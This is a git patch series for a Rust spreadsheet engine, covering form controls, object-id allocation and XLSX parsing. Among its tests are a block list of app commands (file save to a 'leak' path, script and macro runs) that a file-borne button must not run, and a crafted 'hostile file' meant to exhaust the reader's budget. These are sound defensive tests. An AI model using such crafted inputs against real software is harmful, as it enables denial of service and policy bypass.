picture(&mut s, "C10", AnchorMode::MoveOnly, 5.0, 3.0, 30.0, 12.0); + let pinned = picture(&mut s, "D10", AnchorMode::Absolute, 5.0, 3.0, 30.0, 12.0); + // A "move and size" picture spanning columns B and C: from x 104 (40 pt into B) to x 154 + // (26 pt into C). The sort puts column C before column B. + let wide = picture(&mut s, "B10", AnchorMode::MoveAndSize, 40.0, 3.0, 50.0, 12.0); + let before: Vec<_> = [sized, moved, pinned, wide].iter().map(|&o| anchor_of(&s, o)).collect(); + s.execute("data.sort", json!({"range": "A10:D10", "header": true, "orientation": "columns", "keys": [{"row": 10}]})).unwrap(); + assert_eq!(anchor_of(&s, sized), ("D10".into(), 5.0, 3.0, 30.0, 12.0), "move and size: travels with column B to D at the same width"); + assert_eq!(anchor_of(&s, moved), ("B10".into(), 5.0, 3.0, 30.0, 12.0), "move only: travels with column C to B at its own size"); + assert_eq!(anchor_of(&s, pinned), ("D10".into(), 5.0, 3.0, 30.0, 12.0), "absolute: stays"); + assert_eq!(anchor_of(&s, wide), ("D10".into(), 40.0, 3.0, 50.0, 12.0), "two columns swapped: moves with its left column at its old size"); + s.execute("edit.undo", json!({})).unwrap(); + let after: Vec<_> = [sized, moved, pinned, wide].iter().map(|&o| anchor_of(&s, o)).collect(); + assert_eq!(after, before, "undo restores every anchor"); +} + #[test] fn slicers_follow_inserted_rows_like_other_objects() { let mut s = s(); From 11ffe094391e951c7765bf1cf4a9799689c1cb77 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 17:05:25 -0500 Subject: [PATCH 035/167] Form controls: tests for denied commands brought in by a file and for linked cells under protection A button's command is refused at Insert, at Assign Action and, when a file's hidden name carries it, at press time (file.save, file.saveAs with a path, file.open, app.commands, macro.run, automate.runScript, control.press); nothing runs and no file is written. A slider or spin button whose linked cell is locked on a protected sheet refuses the change through control.setValue, Format Control and Insert, and keeps its value; a link to another sheet obeys that sheet's protection; an unlocked linked cell takes the value. --- crates/engine/src/tests/controls.rs | 113 ++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 8f0741d49..ba770b598 100644 --- a/crates/engine/src/tests/controls.rs +++ b/crates/engine/src/tests/controls.rs @@ -475,3 +475,116 @@ fn every_kind_and_action_survives_xlsx() { s.execute("cell.set", json!({"cell": "B1", "input": "120"})).unwrap(); assert_eq!(s.execute("control.list", json!({})).unwrap()[0]["value"], json!(120)); } + +/// A button's command goes through the macro policy when it is assigned and again when it is +/// pressed, so a file whose hidden name carries a denied command (written by another application, +/// or edited by hand) can't use a button as a way around the policy. +#[test] +fn a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in() { + let dir = std::env::temp_dir().join(format!("gridcraft-control-deny-{}", std::process::id())); + let leak = dir.join("leak.xlsx").to_string_lossy().to_string(); + let denied = [ + ("file.saveAs", json!({"path": leak})), + ("file.save", json!({})), + ("file.open", json!({"path": leak})), + ("app.commands", json!({})), + ("macro.run", json!({"name": "Mark"})), + ("automate.runScript", json!({"name": "Leak", "trusted": true})), + ("control.press", json!({"id": 1})), + ]; + let mut s = s(); + s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap(); + // Neither Insert › Button nor Assign Action takes one. + let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Run"})).unwrap()); + for (cmd, params) in &denied { + let want = format!("can't run {cmd}"); + assert!(err(s.execute("insert.button", json!({"at": "B9", "command": cmd, "params": params}))).contains(&want), "{cmd}"); + assert!(err(s.execute("control.assign", json!({"id": b, "command": cmd, "params": params}))).contains(&want), "{cmd}"); + assert_eq!(control(&s, b).action, None, "{cmd}"); + } + assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1, "no button was placed"); + // A file can still carry them: one button per command, given its action as a file would. + for i in 1..denied.len() { + s.execute("insert.button", json!({"at": format!("B{}", 2 + 3 * i), "text": format!("Run {i}")})).unwrap(); + } + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + for (c, (cmd, params)) in sh.controls.iter_mut().zip(&denied) { + c.action = Some(ControlAction::Command { id: (*cmd).to_string(), params: params.clone() }); + } + reopen(&mut s); + assert_eq!(s.doc().unwrap().trust, Trust::FromFile); + let list = s.execute("control.list", json!({})).unwrap(); + for (i, (cmd, params)) in denied.iter().enumerate() { + // The action came back through the hidden name, so the check at press time is what holds. + assert_eq!(list[i]["action"], json!({"type": "command", "id": cmd, "params": params}), "{cmd}"); + let pressed = list[i]["id"].as_u64().unwrap(); + let before = undo_len(&s); + assert!(err(s.execute("control.press", json!({"id": pressed, "approve": true}))).contains(&format!("can't run {cmd}")), "{cmd}"); + assert_eq!(undo_len(&s), before, "{cmd}: nothing ran"); + } + assert!(!std::path::Path::new(&leak).exists()); + assert_eq!(v(&s, "A1"), Value::Empty, "the macro never ran"); +} + +/// Using a slider or spin button writes its linked cell through `cell.set`, so the cell's +/// protection governs it: a locked cell on a protected sheet refuses the change, and the control +/// keeps its value (the control's change and the cell write are one group, rolled back together). +/// A control's own Locked flag keeps it from being moved or edited, not from being used, as in +/// Excel, so an unlocked linked cell takes the value on a protected sheet. +#[test] +fn a_locked_linked_cell_on_a_protected_sheet_refuses_the_change_and_the_control_keeps_its_value() { + let mut s = s(); + let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 40})).unwrap()); + s.execute("control.format", json!({"id": c, "locked": false})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + let before = undo_len(&s); + assert!(err(s.execute("control.setValue", json!({"id": c, "value": 60}))).contains("protected")); + assert_eq!((control(&s, c).value, v(&s, "B1")), (40, Value::Number(40.0)), "nothing is half-applied"); + assert_eq!(undo_len(&s), before, "no undo step is left behind"); + // Format Control: a new maximum that would pull the value into the cell is refused whole. + assert!(err(s.execute("control.format", json!({"id": c, "max": 30}))).contains("protected")); + assert_eq!((control(&s, c).max, control(&s, c).value), (100, 40)); + // Inserting a control with a value for a locked cell is refused and leaves no control behind. + assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "B2", "value": 5}))).contains("protected")); + assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1); + // The value the cell already holds writes nothing, so nothing is refused. + s.execute("control.setValue", json!({"id": c, "value": 40})).unwrap(); + assert_eq!(undo_len(&s), before); + // An unlocked linked cell takes the value on the protected sheet. + s.execute("review.unprotectSheet", json!({})).unwrap(); + s.execute("home.lockCell", json!({"range": "B1", "on": false})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + s.execute("control.setValue", json!({"id": c, "value": 60})).unwrap(); + assert_eq!((control(&s, c).value, v(&s, "B1")), (60, Value::Number(60.0))); +} + +/// A link to a cell on another sheet obeys that sheet's protection, not the control's sheet's. +#[test] +fn a_link_to_another_sheet_obeys_that_sheets_protection() { + let mut s = s(); + s.execute("home.insertSheet", json!({"name": "Data"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap(); + let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "Data!B1", "value": 10})).unwrap()); + assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1")); + let data = |s: &Session| { + let wb = &s.doc().unwrap().wb; + wb.sheet(wb.sheet_index("Data").unwrap()).unwrap().value(gridcraft_core::CellRef::new(0, 1)) + }; + assert_eq!(data(&s), Value::Number(10.0)); + s.execute("review.protectSheet", json!({"sheet": "Data"})).unwrap(); + let before = undo_len(&s); + assert!(err(s.execute("control.setValue", json!({"id": c, "value": 20}))).contains("protected")); + assert_eq!((control(&s, c).value, data(&s)), (10, Value::Number(10.0))); + assert_eq!(undo_len(&s), before); + assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "Data!B2", "value": 5}))).contains("protected")); + assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1); + // Protecting the control's own sheet instead leaves the write to the other sheet alone. + s.execute("review.unprotectSheet", json!({"sheet": "Data"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + s.execute("control.setValue", json!({"id": c, "value": 20})).unwrap(); + assert_eq!((control(&s, c).value, data(&s)), (20, Value::Number(20.0))); + // A link to a sheet the workbook doesn't have is refused with a clear message. + s.execute("review.unprotectSheet", json!({})).unwrap(); + assert!(err(s.execute("control.format", json!({"id": c, "link": "Nowhere!B1"}))).contains("isn't a cell of this workbook")); + assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1")); +} From d8703162be6a6f447da9bbb094deaa9cc43284cf Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 17:06:51 -0500 Subject: [PATCH 036/167] XLSX: form controls find their properties parts through a relationship index Each listed control looked its properties part up with a scan of the sheet's relationships, so a sheet at the 10,000-control cap compared ids a hundred million times. The relationships are indexed by id once, as the VML shapes already were; the first of a repeated id still wins. --- crates/xlsx/src/controls.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index e45c98fe3..cf38d0908 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -406,7 +406,7 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels None => None, }; let shapes: Vec<&El> = vml.as_ref().map(|v| v.kids("shape").collect()).unwrap_or_default(); - // Looked up once per listed control: an index keeps a sheet of many controls linear. + // Looked up once per listed control: indexes keep a sheet of many controls linear. let mut by_number: HashMap = HashMap::with_capacity(shapes.len()); for s in &shapes { if let Some(n) = number_of(s) { @@ -414,6 +414,12 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels } } let shape_of = |n: u64| by_number.get(&n).copied(); + // The relationships likewise: one per control, looked up by id (the first of a repeated id wins, + // as a scan would find it). + let mut rel_by_id: HashMap<&str, &Rel> = HashMap::with_capacity(rels.len()); + for r in rels { + rel_by_id.entry(r.id.as_str()).or_insert(r); + } // Every shape the sheet lists, read here or not. let mut listed: HashSet = HashSet::new(); for ctl in controls.map(controls_in).unwrap_or_default() { @@ -424,7 +430,7 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels } let shape = shape_of(n); let vml_props = shape.and_then(props_from_vml); - let prop_part = ctl.attr("id").and_then(|id| rels.iter().find(|r| r.id == id)).map(|r| r.target.clone()); + let prop_part = ctl.attr("id").and_then(|id| rel_by_id.get(id)).map(|r| r.target.clone()); let file_props = match prop_part { Some(t) => cx.pkg.read_xml(&t).ok().flatten().filter(|e| e.name == "formControlPr").map(|e| props_from_ctrl_prop(&e)), None => None, From a6afa05309f5574fcd02b0bd78b51d8d39170ba9 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 17:23:58 -0500 Subject: [PATCH 037/167] Objects: a copied sheet's objects get free ids even when a file used the largest id `Workbook::next_object_id` returned one more than the largest id in use, saturating at `u32::MAX`. A workbook read from a file can carry an object with that id; every later insert (a chart, picture, shape, table or slicer) then got `u32::MAX` again, and so did each object of a copied sheet, whose ids also came from a saturating counter. Lookups and selection take the first object with an id, and `object.delete` removes every one. `Workbook::free_object_ids(count)` now returns distinct unused ids: those above the largest in use while they last, then the lowest free ones from 1. `next_object_id` takes the first of them, and the sheet copy takes one per copied object (and refuses if the id space were ever exhausted). The model test that recorded the saturation now checks the free ids instead, and a new one covers a file that used the largest ids: the free ids come from below, 100,000 of them distinct and in order. Test: object_ids_stay_unique_when_a_file_used_the_largest_id gives a shape id u32::MAX, inserts two shapes and copies the sheet; every shape id is distinct across both sheets. It fails without the fix (both new shapes get 4294967295). --- crates/engine/src/cmd/sheet/tabs.rs | 16 +++-- crates/engine/src/tests/objects.rs | 20 ++++++ crates/model/src/workbook.rs | 102 ++++++++++++++++++++++------ 3 files changed, 111 insertions(+), 27 deletions(-) diff --git a/crates/engine/src/cmd/sheet/tabs.rs b/crates/engine/src/cmd/sheet/tabs.rs index 2f87294bb..176c1d542 100644 --- a/crates/engine/src/cmd/sheet/tabs.rs +++ b/crates/engine/src/cmd/sheet/tabs.rs @@ -164,13 +164,15 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result { sh.tables.clear(); // table names must be unique sh.preserved = None; // kept file content (form controls, OLE objects…) stays with the original // Object ids are unique across the workbook (selection and the `{kind, id}` commands - // rely on it), so the copied objects get fresh ones. - let mut next = cx.wb.next_object_id(); - let mut fresh = || { - let id = next; - next = next.saturating_add(1); - id - }; + // rely on it), so the copied objects get fresh ones (free ones, even when a file used + // the largest id). + let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len(); + let ids = cx.wb.free_object_ids(count); + if ids.len() < count { + return Err(bad("sheet.move", "no free object ids are left for the copied objects")); + } + let mut ids = ids.into_iter(); + let mut fresh = || ids.next().unwrap_or(u32::MAX); sh.charts.iter_mut().for_each(|o| o.id = fresh()); sh.images.iter_mut().for_each(|o| o.id = fresh()); sh.shapes.iter_mut().for_each(|o| o.id = fresh()); diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index c39b14e11..e590f4851 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -281,3 +281,23 @@ fn bubble_sizes_follow_edits_like_the_other_series_references() { s.execute("sheet.rename", json!({"sheet": 0, "name": "Data"})).unwrap(); assert_eq!(sizes(&s), "Data!$F$2:$F$4", "a renamed sheet is renamed in the bubble sizes"); } + +/// A file can carry an object with the largest id. New objects and a copied sheet's objects then +/// take free ids instead of the largest one again, so `{kind, id}` still names one object. +#[test] +fn object_ids_stay_unique_when_a_file_used_the_largest_id() { + let mut s = s(); + let first = id_of(&s.execute("insert.shape", json!({"kind": "rectangle", "at": "B2"})).unwrap(), "shape"); + // The file's shape carries the largest id (set on the model, as a loaded file would). + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().shapes.iter_mut().find(|o| o.id == first).unwrap().id = u32::MAX; + let second = id_of(&s.execute("insert.shape", json!({"kind": "ellipse", "at": "D2"})).unwrap(), "shape"); + let third = id_of(&s.execute("insert.shape", json!({"kind": "triangle", "at": "F2"})).unwrap(), "shape"); + assert!(second != u32::MAX && third != u32::MAX && second != third, "new shapes take free ids, not the largest again: {second}, {third}"); + s.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap(); + let wb = &s.doc().unwrap().wb; + let mut ids: Vec = wb.sheets.iter().flat_map(|sh| sh.shapes.iter().map(|o| o.id)).collect(); + assert_eq!(ids.len(), 6); + ids.sort_unstable(); + ids.dedup(); + assert_eq!(ids.len(), 6, "every shape id is distinct across both sheets"); +} diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 486b7019d..c1a7f2913 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -463,26 +463,54 @@ impl Workbook { } None } + /// A free id for a new chart, picture, shape, table or slicer: one more than the largest in + /// use, or, when that is `u32::MAX` (a file can carry any id), the lowest free one. pub fn next_object_id(&self) -> u32 { - let mut m = 0; - for s in &self.sheets { - for c in &s.charts { - m = m.max(c.id); - } - for c in &s.images { - m = m.max(c.id); - } - for c in &s.shapes { - m = m.max(c.id); - } - for c in &s.tables { - m = m.max(c.id); - } - for c in &s.slicers { - m = m.max(c.id); - } + self.free_object_ids(1).first().copied().unwrap_or(u32::MAX) + } + + /// `count` distinct ids no object in the workbook uses, sorted: the ones above the largest id + /// in use while they last, then the lowest free ones. Fewer come back only when the id space + /// is exhausted. + pub fn free_object_ids(&self, count: usize) -> Vec { + let mut used: Vec = self + .sheets + .iter() + .flat_map(|s| { + s.charts + .iter() + .map(|o| o.id) + .chain(s.images.iter().map(|o| o.id)) + .chain(s.shapes.iter().map(|o| o.id)) + .chain(s.tables.iter().map(|o| o.id)) + .chain(s.slicers.iter().map(|o| o.id)) + }) + .collect(); + used.sort_unstable(); + used.dedup(); + let max = used.last().copied().unwrap_or(0); + let mut out = Vec::with_capacity(count.min(1 << 16)); + let mut next = max.checked_add(1); + while out.len() < count + && let Some(id) = next + { + out.push(id); + next = id.checked_add(1); } - m.saturating_add(1) + // Past the top: the gaps below the largest id, from 1 (0 is never an object's id). + let mut taken = used.iter().copied().peekable(); + let mut id = 1u32; + while out.len() < count && id < max { + while taken.next_if(|&t| t < id).is_some() {} + if taken.peek() == Some(&id) { + taken.next(); + } else { + out.push(id); + } + id += 1; + } + out.sort_unstable(); + out } } @@ -534,7 +562,7 @@ mod tests { } #[test] - fn object_ids_saturate_instead_of_overflowing() { + fn object_ids_never_overflow_or_repeat() { let mut wb = Workbook::new(); let image = |id| crate::Image { id, anchor: Default::default(), data: Default::default(), mime: String::new(), alt: String::new() }; assert_eq!(wb.next_object_id(), 1); @@ -545,6 +573,40 @@ mod tests { if let Some(sh) = wb.sheet_mut(0) { sh.images.push(image(u32::MAX)); } - assert_eq!(wb.next_object_id(), u32::MAX, "an id read from a file at the maximum saturates"); + // An id read from a file at the maximum: the lowest free id, not the maximum again. + assert_eq!(wb.next_object_id(), 1); + if let Some(sh) = wb.sheet_mut(0) { + sh.images.push(image(1)); + sh.images.push(image(3)); + } + assert_eq!(wb.next_object_id(), 2); + assert_eq!(wb.free_object_ids(4), vec![2, 4, 5, 6], "the gaps, skipping 1, 3 and 7"); + let mut wb = Workbook::new(); + if let Some(sh) = wb.sheet_mut(0) { + sh.images.push(image(u32::MAX - 1)); + } + assert_eq!(wb.free_object_ids(3), vec![1, 2, u32::MAX], "the top first, then from 1"); + } + + /// A file can use the largest id and the one below it: nothing is free above them, so the free + /// ids are the lowest unused ones from 1 (0 is never an object's id), and a large request is + /// served in time linear in the count and the ids in use. + #[test] + fn free_object_ids_come_from_below_when_nothing_is_free_above() { + let mut wb = Workbook::new(); + let image = |id| crate::Image { id, anchor: Default::default(), data: Default::default(), mime: String::new(), alt: String::new() }; + if let Some(sh) = wb.sheet_mut(0) { + sh.images.push(image(u32::MAX)); + sh.images.push(image(u32::MAX - 1)); + sh.images.push(image(0)); + } + assert_eq!(wb.free_object_ids(3), vec![1, 2, 3]); + assert_eq!(wb.next_object_id(), 1); + // The 100,000 lowest free ids: distinct, ascending, none of them in use. + let many = wb.free_object_ids(100_000); + assert_eq!(many.len(), 100_000); + assert!(many.windows(2).all(|w| w[0] < w[1]), "ascending without repeats"); + assert!(!many.contains(&0) && !many.contains(&(u32::MAX - 1)) && !many.contains(&u32::MAX)); + assert_eq!(wb.free_object_ids(0), Vec::::new()); } } From 4219720e1391a25d17019b3205cd5179125fce17 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 17:30:26 -0500 Subject: [PATCH 038/167] UI tests: the button test closes the control's menu before the press it checks The right-click that selects the button also opens its menu at the pointer, so the plain click that follows could have gone to the menu instead of the button. The test now closes the menu with Escape and asserts it is closed before clicking; the dialogs test asserts that choosing a menu item closes it. --- crates/ui-egui/tests/it/form_controls.rs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/crates/ui-egui/tests/it/form_controls.rs b/crates/ui-egui/tests/it/form_controls.rs index 09b57c4a8..ad13818a1 100644 --- a/crates/ui-egui/tests/it/form_controls.rs +++ b/crates/ui-egui/tests/it/form_controls.rs @@ -225,6 +225,11 @@ fn a_button_runs_its_macro_and_cmd_or_right_click_only_selects() { h.run_steps(2); assert_eq!(h.state().selected_object, Some(ObjRef::new(ObjKind::Control, ids.button))); assert_eq!(cell(&h, "H1"), Value::Empty); + assert_eq!(h.state().grid.object_menu.map(|(_, kind, id)| (kind, id)), Some(("control", ids.button))); + // Escape closes the menu (which would otherwise take the next click at the pointer), then + // the selection is dropped, so the click below reaches the button itself. + key(&mut h, Key::Escape); + assert!(h.state().grid.object_menu.is_none(), "Escape closes the control's menu"); h.state_mut().selected_object = None; // A plain click runs the macro, as one undo step. let before = undo_len(&h); @@ -393,6 +398,7 @@ fn assign_action_and_format_control_dialogs() { h.get_by_label("Assign Action…").click(); h.run_steps(2); assert_eq!(h.state().dialog.as_ref().map(|d| d.name.as_str()), Some("assignAction")); + assert!(h.state().grid.object_menu.is_none(), "choosing an item closes the menu"); // The dialog settles its size (and so its place) over the first frames. h.run_steps(30); let radio = h.get_by_label("Run a command").rect(); From 18cb02cbd9a6a99e2fd169b94cfdeff7fe92ac2e Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 17:30:26 -0500 Subject: [PATCH 039/167] XLSX: a control properties part is read once, however many controls name it Each listed control read and parsed its properties part again, and every read is charged to the package's 1 GB budget, so a file whose controls all named one part spent the budget on it: the controls after that were dropped and the parts read later (notes, threaded comments) failed with TooLarge. The parsed part is now cached by target; a part that fails to read or isn't a formControlPr is cached as nothing and not read again. Test: 13,000 controls naming one 200 KB part keep the sheet's 10,000 controls and the note read after them. --- crates/xlsx/src/controls.rs | 14 +++++++-- crates/xlsx/src/tests/controls_tests.rs | 41 +++++++++++++++++++++++++ 2 files changed, 52 insertions(+), 3 deletions(-) diff --git a/crates/xlsx/src/controls.rs b/crates/xlsx/src/controls.rs index cf38d0908..75c8032df 100644 --- a/crates/xlsx/src/controls.rs +++ b/crates/xlsx/src/controls.rs @@ -249,7 +249,7 @@ pub const SHAPETYPE: &str = ", link: Option, @@ -420,6 +420,11 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels for r in rels { rel_by_id.entry(r.id.as_str()).or_insert(r); } + // Each properties part is read and parsed once, however many controls name it: every read is + // charged to the package's budget, so a file whose controls all point at one part would + // otherwise spend it on that part alone. A part that fails to read, or isn't a + // `formControlPr`, is remembered as nothing and not read again. + let mut props_by_part: HashMap<&str, Option> = HashMap::new(); // Every shape the sheet lists, read here or not. let mut listed: HashSet = HashSet::new(); for ctl in controls.map(controls_in).unwrap_or_default() { @@ -430,9 +435,12 @@ pub fn read(cx: &mut Ctx<'_>, controls: Option<&El>, vml_rid: Option<&str>, rels } let shape = shape_of(n); let vml_props = shape.and_then(props_from_vml); - let prop_part = ctl.attr("id").and_then(|id| rel_by_id.get(id)).map(|r| r.target.clone()); + let prop_part = ctl.attr("id").and_then(|id| rel_by_id.get(id)).map(|r| r.target.as_str()); let file_props = match prop_part { - Some(t) => cx.pkg.read_xml(&t).ok().flatten().filter(|e| e.name == "formControlPr").map(|e| props_from_ctrl_prop(&e)), + Some(t) => props_by_part + .entry(t) + .or_insert_with(|| cx.pkg.read_xml(t).ok().flatten().filter(|e| e.name == "formControlPr").map(|e| props_from_ctrl_prop(&e))) + .clone(), None => None, }; let pr = ctl.child("controlPr"); diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs index b58d1f200..7aedc51d3 100644 --- a/crates/xlsx/src/tests/controls_tests.rs +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -333,3 +333,44 @@ fn controls_come_from_the_legacy_drawing_not_the_header_and_footer_drawing() { assert_eq!(c.len(), 3, "{c:?}"); assert_eq!(c[2].text, "Go"); } + +/// Every listed control that names the same properties part shares one read of it. Each read is +/// charged to the package's 1 GB budget, so 10,000 reads of a 200 KB part would spend it, drop the +/// controls after that, and fail the parts read after the controls (here the sheet's notes). A +/// hostile file can list that many controls against one part. +#[test] +fn controls_naming_one_properties_part_read_it_once() { + let n = 13_000; + let mut controls = String::from(r#""#); + for i in 0..n { + let _ = std::fmt::Write::write_fmt( + &mut controls, + format_args!( + r#"10{i}020{}0"#, + 2000 + i, + i + 1 + ), + ); + } + controls.push_str(""); + let rels = r#""#; + // 200 KB of attribute whitespace: read once per control, 10,000 reads would be 2 GB. + let prop_a = format!( + r#""#, + " ".repeat(200 * 1024) + ); + let notes = r#"Annread after the controls"#; + let bytes = minimal( + &format!("{controls}"), + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/ctrlProps/a.xml", &prop_a), ("xl/comments1.xml", notes)], + "", + "", + ); + let (wb, report) = read_xlsx(&bytes).unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.controls.len(), 10_000, "the cap of one sheet, every control read from the one part"); + assert!(sh.controls.iter().all(|c| { + c.kind == ControlKind::Slider && c.link.as_deref() == Some("$B$1") && (c.min, c.max, c.step, c.page, c.value) == (0, 200, 5, 20, 45) + })); + assert_eq!(sh.comments.len(), 1, "a part read after the controls still reads: {:?}", report.warnings); +} From 834fa94f854bd62b90a0adc24d35685730682738 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 1 Nov 2026 17:33:29 -0500 Subject: [PATCH 040/167] Objects: tests that a copied sheet's form controls take free ids and that a control's id stays in use A sheet copy renumbers its form controls from the same free ids as its charts, pictures, shapes and slicers, so when a file's slider carries the largest id the copies still get distinct ids; free_object_ids counts the controls' ids as used, so 3 and u32::MAX held by controls are skipped. --- crates/engine/src/tests/objects.rs | 20 ++++++++++++++++++++ crates/model/src/workbook.rs | 13 +++++++++++++ 2 files changed, 33 insertions(+) diff --git a/crates/engine/src/tests/objects.rs b/crates/engine/src/tests/objects.rs index 2a96841f5..77425e6c4 100644 --- a/crates/engine/src/tests/objects.rs +++ b/crates/engine/src/tests/objects.rs @@ -311,3 +311,23 @@ fn object_ids_stay_unique_when_a_file_used_the_largest_id() { ids.dedup(); assert_eq!(ids.len(), 6, "every shape id is distinct across both sheets"); } + +/// A copied sheet's form controls take free ids like its other objects: a file's control can +/// carry the largest id, and the ids the copy asks for count the controls. +#[test] +fn a_copied_sheets_form_controls_take_free_ids_too() { + let mut s = s(); + let slider = id_of(&s.execute("insert.slider", json!({"at": "B2", "link": "$A$1"})).unwrap(), "control"); + s.execute("insert.button", json!({"at": "B6"})).unwrap(); + s.execute("insert.shape", json!({"kind": "rectangle", "at": "D2"})).unwrap(); + // The file's slider carries the largest id (set on the model, as a loaded file would). + std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().controls.iter_mut().find(|o| o.id == slider).unwrap().id = u32::MAX; + s.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap(); + let wb = &s.doc().unwrap().wb; + let mut ids: Vec = wb.sheets.iter().flat_map(|sh| sh.controls.iter().map(|o| o.id).chain(sh.shapes.iter().map(|o| o.id))).collect(); + assert_eq!(ids.len(), 6); + ids.sort_unstable(); + ids.dedup(); + assert_eq!(ids.len(), 6, "every control and shape id is distinct across both sheets: {ids:?}"); + assert_eq!(ids.iter().filter(|&&i| i == u32::MAX).count(), 1, "only the file's slider keeps the largest id"); +} diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 69f7a2992..5df18b48c 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -593,6 +593,19 @@ mod tests { assert_eq!(wb.free_object_ids(3), vec![1, 2, u32::MAX], "the top first, then from 1"); } + /// A form control's id is in use like any object's: the free ids skip it, also when it is the + /// largest id a file could carry. + #[test] + fn free_object_ids_skip_a_form_controls_id() { + let mut wb = Workbook::new(); + if let Some(sh) = wb.sheet_mut(0) { + sh.controls.push(crate::FormControl { id: 3, ..Default::default() }); + sh.controls.push(crate::FormControl { id: u32::MAX, ..Default::default() }); + } + assert_eq!(wb.free_object_ids(4), vec![1, 2, 4, 5], "3 and the largest id are taken"); + assert_eq!(wb.next_object_id(), 1); + } + /// A file can use the largest id and the one below it: nothing is free above them, so the free /// ids are the lowest unused ones from 1 (0 is never an object's id), and a large request is /// served in time linear in the count and the ids in use. From 099349d91deb84e3cc0532597db0e42d11263206 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Mon, 2 Nov 2026 01:44:41 -0500 Subject: [PATCH 041/167] Form controls: a macro assignment removed in another application stays removed on reopen load_action_names gave every kept action back to a button the file assigned no macro. A button that ran a macro with a fixed input range or an output cell, whose macro another application removed while keeping the button's name and place, so came back with the assignment. Now a kept macro action comes back only onto a button the file still assigns that macro, and a kept command only onto a button the file assigns no macro, as the function's comment already said. Tests: a_macro_assignment_removed_in_another_application_stays_removed (the saved file with the controlPr macro attribute and the VML FmlaMacro removed reopens with no action and no hidden name; unedited, with the whole action), a_macro_assigned_in_another_application_replaces_a_stored_command (the file's macro wins over a kept command), and the cleared case in a_kept_button_action_comes_back_only_on_the_same_button. macros.md and file-format-parity.md describe the hidden name and the reopen rule. --- crates/engine/src/cmd/controls.rs | 2 +- crates/engine/src/tests/controls.rs | 103 ++++++++++++++++++++++++++++ docs/file-format-parity.md | 4 +- docs/macros.md | 12 +++- 4 files changed, 117 insertions(+), 4 deletions(-) diff --git a/crates/engine/src/cmd/controls.rs b/crates/engine/src/cmd/controls.rs index f68effc9e..773262480 100644 --- a/crates/engine/src/cmd/controls.rs +++ b/crates/engine/src/cmd/controls.rs @@ -627,7 +627,7 @@ pub(crate) fn load_action_names(wb: &mut Workbook) { && text("name").is_none_or(|n| n == c.display_name()) && text("at").is_none_or(|a| a == c.anchor.cell.a1()) && match (&c.action, &action) { - (None, _) => true, + (None, ControlAction::Command { .. }) => true, (Some(ControlAction::Macro { name: now, .. }), ControlAction::Macro { name: kept, .. }) => now.eq_ignore_ascii_case(kept), _ => false, } diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs index 